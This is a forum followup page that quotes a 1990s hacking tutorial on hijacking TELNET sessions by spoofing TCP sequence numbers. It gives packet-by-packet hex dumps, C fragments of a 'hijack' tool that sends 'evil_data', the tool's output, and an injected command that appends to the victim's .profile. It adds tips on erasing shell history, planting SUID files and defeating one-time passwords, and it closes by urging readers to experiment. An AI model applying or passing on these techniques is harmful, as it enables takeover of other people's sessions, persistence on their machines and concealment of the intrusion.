Post a Followup
Name:
E-Mail:
Subject:	Subject:
Comments:
: host B : &#124 A,B have a TCP connection running (TELNET) : host S <------/ A,S on same subnet : Concept: : (suppose a TELNET from A (client) to B (server)) : TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B : trusts the packets from A because of its correct SEQ/ACK numbers. : So if there was a way to mess up A's SEQ/ACK, B would stop believing A's : real packets. : We could then impersonate to be A, but using correct SEQ/ACK numbers : (that is numbers correct for B). : We would now have taken over the connection (host A is confused, B thinks : nothings wrong (almost correct, see 'actual attack'), and S sends : 'correct' data to B). : This is called 'Hijacking' a connection. (generally hijacking a TELNET session, : but same could be done woth FTP, RLOGIN, etc...) : How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data : packet into the stream at the right time (S as A->B), the server B would : accept this data, and update ACK numbers, A would continue to send : it's old SEQ numbers, as it's unaware of our spoofed data. : Use: : I allready hear you wiseguys yelling: "Hey dude, why hijack a connection : if you can sniff those packets anyway??" : Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... : (S/Key: server challenges client, client and server calculate a code from : the challenge and password, and compare that code. The password itself is : never send on the cable, so you can't sniff sh!t). : (OTP: server has a list of passwords, once one is used, it is destroyed, : so sniffing gets you a password that has 'just' expired ;) : (ALL types of identification that happen at connection (encrypted or not, : trusted or not), and don't use encrypted data transfer, are vulnerable to : 'hijacking'.) : An actual attack: : (These are real sniffed packets, although IP numbers of hosts were changed) : (suppose a TELNET from A (client) to B (server)) : host A : 166.66.66.1 : host B : 111.11.11.11 : (S on same subnet as A) : 1) connection running... : we look with sniffit, and see he's busy in a shell, we start 'hijack' : on host S as 'hijack 166.66.66.1 2035 111.11.11.11' : a packet containing from (A->B) is detected... hijack takes action... : (A->B) : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : SEQ (hex): 5C8223EA ACK (hex): C34A67F6 : FLAGS: -AP--- Window: 7C00 : Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? : 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 . : 50 P 18 . 7C &#124 00 . 6D m 29 ) 00 . 00 . 6C l : ~~~~ : 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!) : (you gotta know what you are doing) : (B->A) : TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : SEQ (hex): C34A67F6 ACK (hex): 5C8223EB : FLAGS: -AP--- Window: 2238 : Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . : 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . : 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l : ~~~~ : 3) A simple ACK from host A to B responding to that echo. Because we know : this can come, and we know a simple ACK doesn't contain data, we don't : need this for SEQ/ACK calculation. : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : SEQ (hex): 5C8223EB ACK (hex): C34A67F7 : FLAGS: -A---- Window: 7C00 : (data removed because irrelevant) : 4) Now we impersonate further data (following packet 1). (S as A -> B) : We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, : because we have to be as fast as possible, and packet 2 could be slow. : We send some backspaces and some enters. To clean up the command line. : We will probably still get some error message back from the shell. : But we handle that too! (see sourcecode) : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : SEQ (hex): 5C8223EB ACK (hex): C34A67F6 : FLAGS: -AP--- Window: 7C00 : Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? : 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . : 50 P 18 . 7C &#124 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . : 0A . 0A . : 5) This is the echo of our spoofed data. Look at ACK. (B->A) : 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a : success) : NOTE that at this point the connection is ours, and A's SEQ/ACK : numbers are completely f#cked up according to B. : TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 : FLAGS: -AP--- Window: 2238 : Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . : 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 . : 50 P 18 . 22 " 38 8 26 & 7C &#124 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H : 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . : 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send : the data we want to be executed. : NOTE each time a packet 'out of numbering' arrives the host should : answer with correct SEQ/ACK, this provides us with the certainty : that a lot of packets are going to be send with correct (and not : changing) SEQ/ACK nrs. (this is where the mechanism of getting our : numbers back straight is based upon) : NOTE it's at this point the real TELNET client's session hangs, most : people ignore this and re-login after a few secs, accepting the : accident as Murphy's law. : (Well it *can* happen without any spoofing involved) : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : SEQ (hex): 5C8223EB ACK (hex): C34A67F7 : FLAGS: -AP--- Window: 7C00 : (data removed because irrelevant) : : TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : SEQ (hex): C34A680B ACK (hex): 5C8223F5 : FLAGS: -A---- Window: 2238 : (data removed because irrelevant) : : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 : SEQ (hex): 5C8223EB ACK (hex): C34A67F7 : FLAGS: -AP--- Window: 7C00 : (data removed because irrelevant) : : TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : SEQ (hex): C34A680B ACK (hex): 5C8223F5 : FLAGS: -A---- Window: 2238 : (data removed because irrelevant) : 7) We are back on track (or at least hijack is, because this is going : very fast). And we fire off our faked bash command. : echo "echo HACKED" >> $HOME/.profile<ENTER> : TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 : SEQ (hex): 5C8223F5 ACK (hex): C34A680B : FLAGS: -AP--- Window: 7C00 : Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23 : 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ? : 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B . : 50 P 18 . 7C &#124 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c : 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O : 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . : 8) now we wait for this data to be confirmed. : ACK = 5C8223F5 + 025 (=37 bytes) : TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 : SEQ (hex): C34A680B ACK (hex): 5C82241A : FLAGS: -AP--- Window: 2238 : Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 : (data removed because irrelevant) : 9) The connection runs on. Now you can execute more commands (just stay : on track of SEQ/ACK), and even finnish the connection (with the same : mechanism of sniper, or with sniper itself... here FIN is recommended). : NOTE: here it is important to be in a shell. But if you have been : watching someone, and you notice he's always directly going to : 'pine' and you can't get inbetween on time. : NO PROBS.... just make a cleanup string that cleans up : 'pine' and puts you back in the shell. (some control chars, : hotkeys, whatever....) : NOTE: if you clean up the .sh_history of .bash_history (whatever) this : attack is one of the nicest there is. Another advantage above : sniffing. : NOTE: Noone says you have to make a .rhosts file (rlogin and : family might be disabled), you can change permissions, put : stuff SUID, put it public, install stuff, mail, etc.. : Discussion of the program (numbers correspond with those of 'An Actual : Attack'): : 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK&#124PSH,0); : Waiting for actual data (PSH is always used for packets containing : data in interactive services like TELNET) : 2) N/A : 3) N/A : 4) sp_seq=attack_info.seq+attack_info.datalen; : sp_ack=attack_info.ack; : transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER, : 23,sp_seq,sp_ack,ACK&#124PSH); : We recalculate the sequence number (using SEQ and datalength of packet 1) : an we send a spoofed packet with ACK and PSH flag, containing the : cleanup data in to_data. : 5) while(count<5) : { : wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); : if(attack_info.ack==sp_seq+sizeof(to_data)) : count=PERSONAL_TOUCH; : else count++; : }; : We wait for a confirmation that our spoofed sequence is accepted. We : expect a packet with an ACK set (PSH or not). It should come within 5 : packets, we use this limit, because we should be able to handle some : previous ACK packets! : NOTE we don't check SEQ nrs, because we have no clue of what they are : going to be (data might have been send our way, or not). : 6) while(count<10) : { : old_seq=serv_seq; : old_ack=serv_ack; : wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, : ACK,0); : if(attack_info.datalen==0) : { : serv_seq=attack_info.seq+attack_info.datalen; : serv_ack=attack_info.ack; : if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) : count=PERSONAL_TOUCH; : else count++; : } : }; : To get back on track, we try to receive 2 ACK packets without data : with the same SEQ/ACK. We know enough packets will be send as a : response to incorrect packets from the confused host A. : This is how we get back on track. : NOTE In a case where A completely gave up, simple spoof a packet with : incorrect SEQ/ACK to get the correct numbers back. : 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, : SERVER,23,serv_ack,serv_seq,ACK&#124PSH); : Pretty clear.... : 8) while(count<5) : { : wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); : if(attack_info.ack==serv_ack+sizeof(evil_data)) : count=PERSONAL_TOUCH; : else count++; : }; : and again waiting for confirmation. : NOTE after the above attack, hijack had produced the following output: : Starting Hijacking demo - Brecht Claerhout 1996 : ----------------------------------------------- : Takeover phase 1: Stealing connection. : Sending Spoofed clean-up data... : Waiting for spoof to be confirmed... : Phase 1 ended. : Takeover phase 2: Getting on track with SEQ/ACK's again : Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex) : Phase 2 ended. : Takeover phase 3: Sending MY data. : Sending evil data. : Waiting for evil data to be confirmed... : Phase 3 ended. : : 4.5 Other : --------- : This list is far from complete, I'm sure you can think of other nice things : to do with this information, think, experiment and code!
Optional link:
Link title:
Optional image: